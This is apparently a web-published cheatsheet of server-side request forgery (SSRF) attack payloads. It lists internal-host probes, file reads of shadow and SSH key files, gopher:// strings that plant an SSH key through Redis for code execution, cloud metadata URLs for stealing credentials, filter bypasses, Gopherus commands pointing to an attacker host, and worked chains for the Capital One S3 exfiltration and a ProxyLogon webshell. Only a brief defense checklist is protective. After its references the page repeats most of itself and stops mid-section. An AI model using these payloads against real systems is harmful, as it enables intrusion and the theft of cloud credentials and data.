SSRF Payload Cheatsheet: Cloud Metadata, Protocols & Bypass Techniques
Thu May 28 2026
Category: Cheatsheet
Scope: Full SSRF payload reference from basic probing to cloud credential theft. For a real-world AWS IAM token exfiltration chain, see SSRF to Cloud Credentials.
Basic Detection Probes
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://0/
http://127.1/
http://127.0.1/
http://2130706433/ (127.0.0.1 in decimal)
http://0x7f000001/ (127.0.0.1 in hex)
http://017700000001/ (127.0.0.1 in octal)
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:22/ (SSH banner grab)
http://127.0.0.1:6379/ (Redis)
http://127.0.0.1:5432/ (PostgreSQL)
http://127.0.0.1:3306/ (MySQL)
http://127.0.0.1:27017/ (MongoDB)
http://127.0.0.1:9200/ (Elasticsearch)
http://127.0.0.1:8080/ (alt HTTP)
http://127.0.0.1:8443/ (alt HTTPS)
Use a Burp Collaborator / interactsh URL to detect blind SSRF:
http://your-collaborator-id.oastify.com/
https://your-collaborator-id.oastify.com/
Protocol Handlers
file://
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/maps
file:///proc/version
file:///var/log/apache2/access.log
file:///var/log/nginx/access.log
file:///home/user/.ssh/id_rsa
file:///home/user/.ssh/authorized_keys
file:///root/.ssh/id_rsa
file:///root/.bash_history
file:///app/config/database.yml (Rails)
file:///app/.env (Node.js / Laravel)
file:///var/www/html/wp-config.php (WordPress)
file:///C:/Windows/win.ini (Windows)
file:///C:/inetpub/wwwroot/web.config (IIS)
dict://
dict://127.0.0.1:6379/INFO (Redis INFO)
dict://127.0.0.1:6379/CONFIG:GET:* (Redis CONFIG)
dict://127.0.0.1:11211/stats (Memcached stats)
dict://127.0.0.1:25/EHLO:attacker (SMTP banner)
gopher://
Allows sending raw TCP payloads — powerful for protocol smuggling.
# Redis — unauthenticated flush and set
gopher://127.0.0.1:6379/_FLUSHALL%0D%0A
gopher://127.0.0.1:6379/_SET%20key%20value%0D%0A
# Redis — write SSH key for RCE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2460%0D%0A%0A%0Assh-rsa%20AAAA...attacker_key...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A%2Froot%2F.ssh%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A
# MySQL — unauthenticated query (no auth)
gopher://127.0.0.1:3306/_%00%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00...
# SMTP — send email
gopher://127.0.0.1:25/_EHLO%20localhost%0AMAIL%20FROM%3A%3Chattacker%40attacker.com%3E%0ARCPT%20TO%3A%3Cvictim%40victim.com%3E%0ADATA%0AFrom%3A%20attacker%0ASubject%3A%20SSRF%0A%0AContent%0A.%0AQUIT%0A
# FastCGI — RCE via PHP-FPM
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Memcached
gopher://127.0.0.1:11211/_%0astats%0a
ftp://
ftp://127.0.0.1/
ftp://internal-server/secret.txt
ftp://user:pass@internal-ftp/
sftp:// / tftp:// / ldap://
sftp://attacker.com:2222/ (blind SSRF detection)
tftp://attacker.com:69/test (UDP — blind detection)
ldap://attacker.com:389/ (blind SSRF detection)
ldaps://attacker.com:636/
ldap://127.0.0.1:389/dc=target,dc=com
jar://
jar:http://attacker.com/evil.jar!/
Cloud Instance Metadata
AWS (EC2 / ECS / Lambda)
IMDSv1 (no token required):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/placement/region
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
IAM Credential Response (IMDSv1):
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-01T00:00:00Z"
}
IMDSv2 (requires PUT token — bypass via SSRF header injection):
# Step 1: Get token (PUT request — needs SSRF that supports method control)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Returns: TOKEN_VALUE
# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: TOKEN_VALUE
ECS Task Metadata:
http://169.254.170.2/v2/credentials/<UUID>
http://169.254.170.2/v2/metadata
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI (check env first)
Lambda:
http://127.0.0.1:9001/2018-06-01/runtime/invocation/next
$AWS_ACCESS_KEY_ID, $AWS_SECRET_ACCESS_KEY in process environment
GCP (Google Cloud)
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env (GKE)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
Required header: Metadata-Flavor: Google
If SSRF doesn't allow custom headers, some misconfigurations allow without it.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
# Azure IMDS v2 alternative
http://169.254.169.254/metadata/attested/document?api-version=2020-09-01
Required header: Metadata: true
DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE_NAME>
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/user-data
Oracle Cloud
http://169.254.169.254/opc/v2/instance/
http://169.254.169.254/opc/v2/identity/
http://169.254.169.254/opc/v1/instance/
Linode / Akamai Cloud
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/v1/
IBM Cloud
http://169.254.169.254/metadata/v1/token
http://169.254.169.254/metadata/v1/instance
Kubernetes & Container Environments
Kubernetes API Server
https://kubernetes.default.svc/
https://kubernetes.default.svc/api/v1/
https://kubernetes.default.svc/api/v1/namespaces/
https://kubernetes.default.svc/api/v1/pods
https://kubernetes.default.svc/api/v1/secrets
https://10.96.0.1/api/v1/secrets (default cluster IP range)
# Service Account token usually at:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
Docker API (Unix socket via SSRF)
http://localhost:2375/info
http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2376/info (TLS port)
etcd (Kubernetes backing store)
http://127.0.0.1:2379/version
http://127.0.0.1:2379/v2/keys/
http://127.0.0.1:2379/v3/kv/range (gRPC — via gopher)
Internal Service Scanning
Use SSRF to map internal network and services:
# Common targets on 127.0.0.1 / 192.168.x.x / 10.x.x.x / 172.16-31.x.x
http://internal-host:80/
http://internal-host:8080/
http://internal-host:8443/
http://internal-host:8888/ (Jupyter Notebook)
http://internal-host:9200/ (Elasticsearch — /_cat/indices)
http://internal-host:5601/ (Kibana)
http://internal-host:6379/ (Redis)
http://internal-host:5432/ (PostgreSQL)
http://internal-host:3306/ (MySQL)
http://internal-host:27017/ (MongoDB)
http://internal-host:11211/ (Memcached)
http://internal-host:2181/ (ZooKeeper)
http://internal-host:4848/ (GlassFish admin)
http://internal-host:7001/ (WebLogic)
http://internal-host:7002/ (WebLogic SSL)
http://internal-host:8161/ (ActiveMQ)
http://internal-host:61616/ (ActiveMQ queue)
http://internal-host:4567/ (Jenkins alt)
http://internal-host:50000/ (Jenkins agent)
http://internal-host:8500/ (Consul)
http://internal-host:8200/ (Vault)
http://internal-host:9090/ (Prometheus)
http://internal-host:3000/ (Grafana)
http://internal-host:15672/ (RabbitMQ management)
http://internal-host:2375/ (Docker daemon)
SSRF Bypass Techniques
IP Obfuscation
# Decimal
http://2130706433/ → 127.0.0.1
http://3232235521/ → 192.168.0.1
# Hex
http://0x7f000001/ → 127.0.0.1
http://0x7f.0x00.0x00.0x01/
# Octal
http://0177.0000.0000.0001/ → 127.0.0.1
http://017700000001/
# Mixed format
http://0177.0.0.1/
http://127.0.0x1/
# IPv6 mapped IPv4
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:0001]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::1]/ → IPv6 loopback
# Short notation
http://127.1/ → 127.0.0.1
http://127.0.1/ → 127.0.0.1
URL Encoding
http://%31%32%37%2e%30%2e%30%2e%31/ → 127.0.0.1
http://127.0.0.1%[email protected]/ → host confusion
http://attacker.com%23.target.com/ → fragment bypass
http://%6c%6f%63%61%6c%68%6f%73%74/ → localhost (hex encoded)
URL Parser Confusion
# Username trick — URL parses as: user=127.0.0.1, host=attacker.com
http://[email protected]/
# Fragment confusion (depends on parser)
http://attacker.com#127.0.0.1/
# Slash confusion
http://attacker.com/http://127.0.0.1/
http://attacker.com\.127.0.0.1/
# @ sign ambiguity
http://[email protected]/
DNS-Based Bypasses
# DNS rebinding — resolves to 127.0.0.1 after initial check
# Use: https://lock.cmpxchg8b.com/rebinder.html
http://rebind.attacker.com/
# Wildcard DNS pointing to 127.0.0.1
http://localtest.me/ → 127.0.0.1
http://127.0.0.1.nip.io/ → 127.0.0.1
http://spoofed.burpcollaborator.net/
# Own domain A record → 127.0.0.1
http://internal.attacker.com/ (attacker controls DNS → 127.0.0.1)
Open Redirect Chaining
# If target follows redirects
https://target.com/redirect?url=http://169.254.169.254/
# 302 from attacker-controlled server
Location: http://169.254.169.254/latest/meta-data/
# Chained via URL shortener on trusted domain
https://trusted-domain.com/short/abc → http://169.254.169.254/
Protocol Confusion
# Scheme case variation
HTTP://127.0.0.1/
HTTPS://127.0.0.1/
hTTp://127.0.0.1/
# Double-slash
http:///127.0.0.1/
http:////127.0.0.1/
# Protocol-relative
//127.0.0.1/
Header Injection for SSRF
When the target accepts headers that define internal URLs:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Host: metadata.google.internal
Host: 169.254.169.254
X-Original-URL: http://127.0.0.1/admin
X-Custom-IP-Authorization: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
SNI / Host Header Bypass
# If SSRF checks Host header but follows SNI
GET / HTTP/1.1
Host: 169.254.169.254
SNI: trusted-domain.com
Blind SSRF Detection
No response body? Detect via:
Burp Collaborator / interactsh:
http://attacker-collaborator-id.oastify.com/
http://attacker-collaborator-id.interactsh.com/
OAST via DNS:
http://ssrf.attacker.com/ (watch DNS logs)
Port timing difference:
# Open port → faster response
# Closed port → connection refused immediately
# Filtered port → timeout (5+ seconds)
Use timing difference to map internal network
File-based oracle (if app saves fetched content):
http://127.0.0.1/admin → if app stores/displays fetched URL's response
file:///etc/passwd → visible in downloaded file or error
SSRF → RCE Chains
SSRF → Redis (gopher://) → CRON write → RCE
SSRF → FastCGI (gopher://) → PHP execution → RCE
SSRF → Memcached → Object injection → RCE
SSRF → Cloud metadata → IAM creds → S3 write → RCE
SSRF → Kubernetes API → create pod → RCE
SSRF → Docker API → exec container → RCE
SSRF → Jenkins (unauth) → Groovy script → RCE
SSRF → Elasticsearch → script execution → RCE
Tools
| Tool | Purpose | Command |
|---|---|---|
| Burp Suite | Intercept & test SSRF params | Manual + Collaborator |
| interactsh | Blind SSRF OOB detection | interactsh-client |
| SSRFmap | Automated SSRF exploitation | python ssrfmap.py -r req.txt -p url |
| Gopherus | Generate gopher:// payloads | python gopherus.py --exploit redis |
| SSRF Sheriff | Internal testing framework | — |
| Nuclei | Template-based SSRF scanning | nuclei -t ssrf/ -u https://target.com |
Gopherus Payloads
# Redis RCE (cron job)
python gopherus.py --exploit redis --lhost attacker.com --lport 4444
# MySQL
python gopherus.py --exploit mysql --uname root --qry "SELECT ..."
# FastCGI → PHP RCE
python gopherus.py --exploit fastcgi --file /var/www/html/index.php --cmd "id"
# SMTP
python gopherus.py --exploit smtp --mail-from [email protected] --mail-to [email protected] --helo localhost
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Capital One Breach | 2019 | AWS EC2 | SSRF via IMDSv1 → IAM credential theft → 100M records exfiltrated |
| CVE-2021-22214 | 2021 | GitLab | SSRF in Webhooks → internal service access |
| CVE-2021-22175 | 2021 | GitLab | SSRF → Gitaly internal gRPC access |
| CVE-2019-11043 | 2019 | PHP-FPM + Nginx | SSRF + Nginx misconfig → RCE |
| CVE-2021-26855 | 2021 | Exchange Server (ProxyLogon) | SSRF → auth bypass → RCE |
| CVE-2022-1388 | 2022 | F5 BIG-IP iControl REST | SSRF-like auth bypass → RCE |
| Twitch Breach | 2021 | Internal infrastructure | SSRF used to pivot internal network |
| HackerOne — Shopify | 2019 | Shopify Partner Dashboard | SSRF → internal GCP metadata → service account tokens |
CTF Machines
- HTB: Sink — SSRF via HTTP Request Smuggling → internal service access → secret manager
- HTB: Bolt — SSRF in image downloader → internal Redis
- HTB: Unobtainium — SSRF + prototype pollution chain
- HTB: Rebound — SSRF to internal SMTP → credential capture
- PentesterLab — AWS SSRF labs (IMDSv1 and v2 bypass)
- flaws.cloud — Multi-level AWS SSRF challenge (highly recommended)
Bug Bounty Highlights
- Orange Tsai — SSRF via Apache mod_rewrite (2024): Confusion attack chain leading to SSRF, ranked #1 web hacking technique of 2024 — see the writeup
- HackerOne — Gitlab (2021): SSRF chain → internal network scan → $20,000
- HackerOne — Yahoo Mail (2015): SSRF in image proxy → internal service scan → $4,000
Example: Capital One Breach (2019) — Exact Chain
# Step 1: Attacker finds SSRF in WAF endpoint running on EC2
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: "isrm-WAF-Role"
# Step 2: Grab temporary IAM credentials
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/isrm-WAF-Role
# Response: AccessKeyId, SecretAccessKey, Token
# Step 3: Use stolen credentials to list S3 buckets
aws configure --profile stolen
# Enter AccessKeyId, SecretAccessKey, Token from above
aws s3 ls --profile stolen
aws s3 sync s3://target-bucket/ ./exfil/ --profile stolen
Example: CVE-2021-26855 — ProxyLogon SSRF (Exchange)
# SSRF to reach internal Exchange backend, bypassing auth
GET /owa/auth/x.js HTTP/1.1
Host: mail.victim.com
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-BEResource=localhost/owa/auth/logon.aspx?~3;
# Then abuse CVE-2021-27065 to write a webshell
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
{"filter":{"Parameters":{"__RequestVerificationToken":"TOKEN",
"ExternalUrl":"http://f/{.aspx_webshell_content}"}}}
# Access webshell
GET /owa/auth/shell.aspx?cmd=whoami
Example: HTB: Sink — SSRF via Request Smuggling
# Smuggle internal request through HAProxy
POST / HTTP/1.1
Host: sink.htb
Content-Length: 200
Transfer-Encoding: chunked
0
GET /notes HTTP/1.1
Host: 172.20.0.1
X-Forwarded-For: 127.0.0.1
# The smuggled request reaches internal Localstack at 172.20.0.1
# Retrieve AWS secrets
curl -s http://172.20.0.1:4566/secretsmanager/list-secrets \
-H "X-Amz-Target: secretsmanager.ListSecrets" \
-H "Content-Type: application/x-amz-json-1.1" -d '{}'
Defense Checklist
- Whitelist allowed destination hosts/IPs — deny by default
- Block requests to 169.254.x.x, 10.x.x.x, 172.16-31.x.x, 127.x.x.x
- Disable unnecessary URL schemes (file://, gopher://, dict://, ftp://)
- Resolve DNS server-side and validate the resolved IP
- Enable IMDSv2 on AWS (requires PUT token — harder to abuse)
- Use cloud service accounts with least privilege
- Apply network-level egress filtering
References
Scope: Full SSRF payload reference from basic probing to cloud credential theft. For a real-world AWS IAM token exfiltration chain, see SSRF to Cloud Credentials.
Basic Detection Probes
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://0/
http://127.1/
http://127.0.1/
http://2130706433/ (127.0.0.1 in decimal)
http://0x7f000001/ (127.0.0.1 in hex)
http://017700000001/ (127.0.0.1 in octal)
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:22/ (SSH banner grab)
http://127.0.0.1:6379/ (Redis)
http://127.0.0.1:5432/ (PostgreSQL)
http://127.0.0.1:3306/ (MySQL)
http://127.0.0.1:27017/ (MongoDB)
http://127.0.0.1:9200/ (Elasticsearch)
http://127.0.0.1:8080/ (alt HTTP)
http://127.0.0.1:8443/ (alt HTTPS)
Use a Burp Collaborator / interactsh URL to detect blind SSRF:
http://your-collaborator-id.oastify.com/
https://your-collaborator-id.oastify.com/
Protocol Handlers
file://
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/maps
file:///proc/version
file:///var/log/apache2/access.log
file:///var/log/nginx/access.log
file:///home/user/.ssh/id_rsa
file:///home/user/.ssh/authorized_keys
file:///root/.ssh/id_rsa
file:///root/.bash_history
file:///app/config/database.yml (Rails)
file:///app/.env (Node.js / Laravel)
file:///var/www/html/wp-config.php (WordPress)
file:///C:/Windows/win.ini (Windows)
file:///C:/inetpub/wwwroot/web.config (IIS)
dict://
dict://127.0.0.1:6379/INFO (Redis INFO)
dict://127.0.0.1:6379/CONFIG:GET:* (Redis CONFIG)
dict://127.0.0.1:11211/stats (Memcached stats)
dict://127.0.0.1:25/EHLO:attacker (SMTP banner)
gopher://
Allows sending raw TCP payloads — powerful for protocol smuggling.
# Redis — unauthenticated flush and set
gopher://127.0.0.1:6379/_FLUSHALL%0D%0A
gopher://127.0.0.1:6379/_SET%20key%20value%0D%0A
# Redis — write SSH key for RCE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2460%0D%0A%0A%0Assh-rsa%20AAAA...attacker_key...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A%2Froot%2F.ssh%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A
# MySQL — unauthenticated query (no auth)
gopher://127.0.0.1:3306/_%00%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00...
# SMTP — send email
gopher://127.0.0.1:25/_EHLO%20localhost%0AMAIL%20FROM%3A%3Chattacker%40attacker.com%3E%0ARCPT%20TO%3A%3Cvictim%40victim.com%3E%0ADATA%0AFrom%3A%20attacker%0ASubject%3A%20SSRF%0A%0AContent%0A.%0AQUIT%0A
# FastCGI — RCE via PHP-FPM
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Memcached
gopher://127.0.0.1:11211/_%0astats%0a
ftp://
ftp://127.0.0.1/
ftp://internal-server/secret.txt
ftp://user:pass@internal-ftp/
sftp:// / tftp:// / ldap://
sftp://attacker.com:2222/ (blind SSRF detection)
tftp://attacker.com:69/test (UDP — blind detection)
ldap://attacker.com:389/ (blind SSRF detection)
ldaps://attacker.com:636/
ldap://127.0.0.1:389/dc=target,dc=com
jar://
jar:http://attacker.com/evil.jar!/
Cloud Instance Metadata
AWS (EC2 / ECS / Lambda)
IMDSv1 (no token required):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/placement/region
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
IAM Credential Response (IMDSv1):
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-01T00:00:00Z"
}
IMDSv2 (requires PUT token — bypass via SSRF header injection):
# Step 1: Get token (PUT request — needs SSRF that supports method control)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Returns: TOKEN_VALUE
# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: TOKEN_VALUE
ECS Task Metadata:
http://169.254.170.2/v2/credentials/<UUID>
http://169.254.170.2/v2/metadata
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI (check env first)
Lambda:
http://127.0.0.1:9001/2018-06-01/runtime/invocation/next
$AWS_ACCESS_KEY_ID, $AWS_SECRET_ACCESS_KEY in process environment
GCP (Google Cloud)
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env (GKE)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
Required header: Metadata-Flavor: Google
If SSRF doesn't allow custom headers, some misconfigurations allow without it.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
# Azure IMDS v2 alternative
http://169.254.169.254/metadata/attested/document?api-version=2020-09-01
Required header: Metadata: true
DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE_NAME>
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/user-data
Oracle Cloud
http://169.254.169.254/opc/v2/instance/
http://169.254.169.254/opc/v2/identity/
http://169.254.169.254/opc/v1/instance/
Linode / Akamai Cloud
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/v1/
IBM Cloud
http://169.254.169.254/metadata/v1/token
http://169.254.169.254/metadata/v1/instance
Kubernetes & Container Environments
Kubernetes API Server
https://kubernetes.default.svc/
https://kubernetes.default.svc/api/v1/
https://kubernetes.default.svc/api/v1/namespaces/
https://kubernetes.default.svc/api/v1/pods
https://kubernetes.default.svc/api/v1/secrets
https://10.96.0.1/api/v1/secrets (default cluster IP range)
# Service Account token usually at:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
Docker API (Unix socket via SSRF)
http://localhost:2375/info
http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2376/info (TLS port)
etcd (Kubernetes backing store)
http://127.0.0.1:2379/version
http://127.0.0.1:2379/v2/keys/
http://127.0.0.1:2379/v3/kv/range (gRPC — via gopher)
Internal Service Scanning
Use SSRF to map internal network and services:
# Common targets on 127.0.0.1 / 192.168.x.x / 10.x.x.x / 172.16-31.x.x
http://internal-host:80/
http://internal-host:8080/
http://internal-host:8443/
http://internal-host:8888/ (Jupyter Notebook)
http://internal-host:9200/ (Elasticsearch — /_cat/indices)
http://internal-host:5601/ (Kibana)
http://internal-host:6379/ (Redis)
http://internal-host:5432/ (PostgreSQL)
http://internal-host:3306/ (MySQL)
http://internal-host:27017/ (MongoDB)
http://internal-host:11211/ (Memcached)
http://internal-host:2181/ (ZooKeeper)
http://internal-host:4848/ (GlassFish admin)
http://internal-host:7001/ (WebLogic)
http://internal-host:7002/ (WebLogic SSL)
http://internal-host:8161/ (ActiveMQ)
http://internal-host:61616/ (ActiveMQ queue)
http://internal-host:4567/ (Jenkins alt)
http://internal-host:50000/ (Jenkins agent)
http://internal-host:8500/ (Consul)
http://internal-host:8200/ (Vault)
http://internal-host:9090/ (Prometheus)
http://internal-host:3000/ (Grafana)
http://internal-host:15672/ (RabbitMQ management)
http://internal-host:2375/ (Docker daemon)
SSRF Bypass Techniques
IP Obfuscation
# Decimal
http://2130706433/ → 127.0.0.1
http://3232235521/ → 192.168.0.1
# Hex
http://0x7f000001/ → 127.0.0.1
http://0x7f.0x00.0x00.0x01/
# Octal
http://0177.0000.0000.0001/ → 127.0.0.1
http://017700000001/
# Mixed format
http://0177.0.0.1/
http://127.0.0x1/
# IPv6 mapped IPv4
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:0001]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::1]/ → IPv6 loopback
# Short notation
http://127.1/ → 127.0.0.1
http://127.0.1/ → 127.0.0.1
URL Encoding
http://%31%32%37%2e%30%2e%30%2e%31/ → 127.0.0.1
http://127.0.0.1%[email protected]/ → host confusion
http://attacker.com%23.target.com/ → fragment bypass
http://%6c%6f%63%61%6c%68%6f%73%74/ → localhost (hex encoded)
URL Parser Confusion
# Username trick — URL parses as: user=127.0.0.1, host=attacker.com
http://[email protected]/
# Fragment confusion (depends on parser)
http://attacker.com#127.0.0.1/
# Slash confusion
http://attacker.com/http://127.0.0.1/
http://attacker.com\.127.0.0.1/
# @ sign ambiguity
http://[email protected]/
DNS-Based Bypasses
# DNS rebinding — resolves to 127.0.0.1 after initial check
# Use: https://lock.cmpxchg8b.com/rebinder.html
http://rebind.attacker.com/
# Wildcard DNS pointing to 127.0.0.1
http://localtest.me/ → 127.0.0.1
http://127.0.0.1.nip.io/ → 127.0.0.1
http://spoofed.burpcollaborator.net/
# Own domain A record → 127.0.0.1
http://internal.attacker.com/ (attacker controls DNS → 127.0.0.1)
Open Redirect Chaining
# If target follows redirects
https://target.com/redirect?url=http://169.254.169.254/
# 302 from attacker-controlled server
Location: http://169.254.169.254/latest/meta-data/
# Chained via URL shortener on trusted domain
https://trusted-domain.com/short/abc → http://169.254.169.254/
Protocol Confusion
# Scheme case variation
HTTP://127.0.0.1/
HTTPS://127.0.0.1/
hTTp://127.0.0.1/
# Double-slash
http:///127.0.0.1/
http:////127.0.0.1/
# Protocol-relative
//127.0.0.1/
Header Injection for SSRF
When the target accepts headers that define internal URLs:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Host: metadata.google.internal
Host: 169.254.169.254
X-Original-URL: http://127.0.0.1/admin
X-Custom-IP-Authorization: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
SNI / Host Header Bypass
# If SSRF checks Host header but follows SNI
GET / HTTP/1.1
Host: 169.254.169.254
SNI: trusted-domain.com
Blind SSRF Detection
No response body? Detect via:
Burp Collaborator / interactsh:
http://attacker-collaborator-id.oastify.com/
